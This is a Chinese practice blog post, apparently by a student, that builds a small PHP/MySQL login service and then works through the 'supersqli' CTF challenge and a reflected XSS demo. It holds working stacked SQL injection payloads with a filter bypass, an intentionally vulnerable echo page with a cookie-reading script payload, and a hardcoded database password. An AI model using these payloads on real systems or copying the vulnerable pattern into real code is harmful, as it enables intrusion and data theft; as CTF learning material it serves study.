本实践目标是构建 Web 服务,并进行一些简单的攻击实践
用 React
写了一个注册界面,放在了nginx
上,如下:
http://47.94.47.203:8080/register
我 linux
上默认装的是 psql
,就在 windows
主机上装了一个 mysql
输入 show databases
,查看有多少数据库
使用 CREATE USER ‘username‘@‘server‘ IDENTIFIED BY ‘password‘;
来创建新用户
使用 GRANT (SELECT, update……) ON 数据库名.表名 TO ‘用户名‘@‘数据库IP‘;
给新用户授权
使用新建的用户登录
windows
下启动 php
php-cgi.exe -b 127.0.0.1:9000
配置 nginx
在 上图中的 root
下创建 index.php
,内容为
<?php
echo phpinfo();
?>
浏览器打开,可见
大多数情况下还是使用 phpStorm
,其会自动调用 php-cgi.exe
,并监听 9000
端口
php
简单的登录功能
php
是一个安全问题非常严重的弱类型语言,操作数据库的底线是采用 预处理
。这里我使用 PDO 预处理
// index.php
<?php
$user_name = $_POST[‘username‘];
$password = $_POST[‘password‘];
$servername = "localhost";
$db_user = "root";
$db_password = "hwqmingdi";
$dbname = "blog";
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $db_user, $db_password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT * FROM users where username = ? and password = ?");
$stmt->execute(array($user_name, $password));
// 设置结果集为关联数组
$result = $stmt->fetchAll();
if (count($result) > 0) {
echo "Welcome " . $result[0][‘username‘];
} else {
echo "login fail";
}
}
catch(PDOException $e) {
echo "Error: " . $e->getMessage();
}
将 form
中的 action
写为 login.php
,就可以登录
这里我们看这道题 https://github.com/glzjin/qwb_2019_supersqli
首先探测参数引号闭合规则
1‘ and 1=1# // true
1‘ and 1=2# // false
可见参数采用单引号闭合
尝试获取列数
1‘ order by 2# //正常
1‘ order by 3# // 报错
可以发现列数为 2 列
试一试 union
查询
1‘ union select user()#
发现 select
等被过滤了
试一试堆叠查询
-1‘;show tables#
我们可以看到数据库中有两个表,数组的第一项就是表名
堆叠注入查看表的字段
-1‘;desc `1919810931114514`#
-1‘;desc `words`#
我们要得到表 1919810931114514
的 flag
字段。但是,select
已经被过滤掉了。这里我们可以采用 mysql
的预编译语法,如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
采用
-1‘;set @sql = CONCAT(‘se‘,‘lect * from `1919810931114514`;‘);prepare stmt from @sql;EXECUTE stmt;#
得到结果
strstr()
函数把 prepare
和 set
过滤了,但是查阅资料,可以发现 strstr
这个函数区分大小写,我们将set
, prepare
大写即可
-1‘;Set @sql = CONCAT(‘se‘,‘lect * from `1919810931114514`;‘);Prepare stmt from @sql;EXECUTE stmt;#
得到结果,注入成功
对 xss
没有研究,只知道可以利用输入框等插入恶意代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input" style="width: 300px;">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET[‘input‘];
echo ‘output:<br>‘.$XssReflex;
?>
</body>
</html>
可以在 <input/>
中输入 <script>alert(document.cookie);</script>
页面加载时会自动执行 <script>
内的语句,从而弹出 cookie
首先,各脚本语言(php,asp 等)并不是浏览器解析运行的。
浏览器可以自解析运行的有
tomcat
支持的有 jsp
iis
支持 aspx
原文:https://www.cnblogs.com/mtzf/p/12952899.html